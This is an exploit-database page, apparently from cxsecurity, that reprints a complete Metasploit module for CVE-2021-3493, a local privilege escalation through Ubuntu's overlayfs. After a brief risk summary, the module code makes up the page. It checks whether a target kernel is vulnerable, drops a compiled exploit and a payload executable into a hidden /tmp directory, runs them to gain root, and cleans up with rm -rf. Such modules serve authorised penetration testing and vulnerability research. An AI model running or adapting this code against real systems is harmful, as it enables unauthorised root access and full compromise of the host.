Ubuntu Overlayfs Local Privilege Escalation

Credit: bwatters-r7
Risk: High
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Compile include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => '2021 Ubuntu Overlayfs LPE', 'Description' => %q{ This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The vulnerability is the result of failing to verify the ability of a user to set the attributes in a running executable. Specifically, when Overlayfs sends the set attributes data to the underlying file system via `vfs_setxattr`, it fails to first verify the data by calling `cap_convert_nscap`. This vulnerability was patched by moving the call to `cap_convert_nscap` into the `vfs_setxattr` function that sets the attribute, forcing verification every time the `vfs_setxattr` is called rather than trusting the data was already verified. }, 'License' => MSF_LICENSE, 'Author' => [ 'ssd-disclosure', 'bwatters-r7' # Aka @tychos_moose, Metasploit Module ], 'DisclosureDate' => '2021-04-12', 'Platform' => [ 'linux' ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Privileged' => true, 'References' => [ [ 'CVE', '2021-3493' ], [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ], [ 'URL', 'https://github.com/briskets/CVE-2021-3493' ] ], 'Notes' => { 'Reliability' => [ REPEATABLE_SESSION ], 'Stability' => [ ], 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'Targets' => [ [ 'x86_64', { 'Arch' => [ ARCH_X64 ] } ], [ 'aarch64', { 'Arch' => [ ARCH_AARCH64 ] } ] ], 'DefaultTarget' => 0 ) ) register_options [ OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]) ] register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def check arch = kernel_hardware unless arch.include?('x86_64') || arch.include?('aarch64') return CheckCode::Safe("System architecture #{arch} is not supported") end release = kernel_release version = kernel_version unless userns_enabled? return CheckCode::Safe('Unprivileged user namespaces are not permitted') end vprint_good('Unprivileged user namespaces are permitted') # If the target is Ubuntu... unless version =~ /[uU]buntu/ return CheckCode::Safe('Target is not Ubuntu!') end version_array = release.split('-') if version_array.length < 2 fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!') end vprint_status("Version array: #{version_array}") major_version = Rex::Version.new(version_array[0]) vprint_status("major_version: #{major_version}") minor_version = version_array[1] vprint_status("minor_version: #{minor_version}") lower_bound_version = Rex::Version.new(3.13) upper_bound_version = Rex::Version.new(5.14) if major_version > upper_bound_version || major_version < lower_bound_version return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}") end return CheckCode::Appears end def exploit if is_root? && !datastore['ForceExploit'] fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.') end base_dir = datastore['WritableDir'].to_s unless writable?(base_dir) fail_with(Failure::BadConfig, "#{base_dir} is not writable") end executable_name = ".#{rand_text_alphanumeric(5..10)}" exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" exploit_path = "#{exploit_dir}/#{executable_name}" if file_exist?(exploit_dir) fail_with(Failure::BadConfig, 'Exploit dir already exists') end mkdir(exploit_dir) register_dir_for_cleanup(exploit_dir) # Upload exploit arch = kernel_hardware vprint_status("Detected architecture: #{arch}") if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch')) fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload') end if live_compile? vprint_status('Live compiling exploit on system...') upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c')) else vprint_status 'Dropping pre-compiled exploit on system...' if arch.include?('x86_64') precompiled_binary = 'cve_2021_3493.x64.elf' vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...") upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary) elsif arch.include?('aarch64') precompiled_binary = 'cve_2021_3493.aarch64.elf' vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...") upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary) else fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'") end end register_file_for_cleanup(exploit_path) # Upload payload payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}" upload_and_chmodx(payload_path, generate_payload_exe) # Launch exploit print_status('Launching exploit...') random_string = rand_text_alphanumeric(5..10) cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}" vprint_status("Running: #{cmd_string}") begin output = cmd_exec(cmd_string) vprint_status(output) rescue Error => e elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e) print_error("Exploit failed: #{e}") ensure # rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory. cmd_exec("rm -rf '#{exploit_dir}'") end end end

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com


Back to Top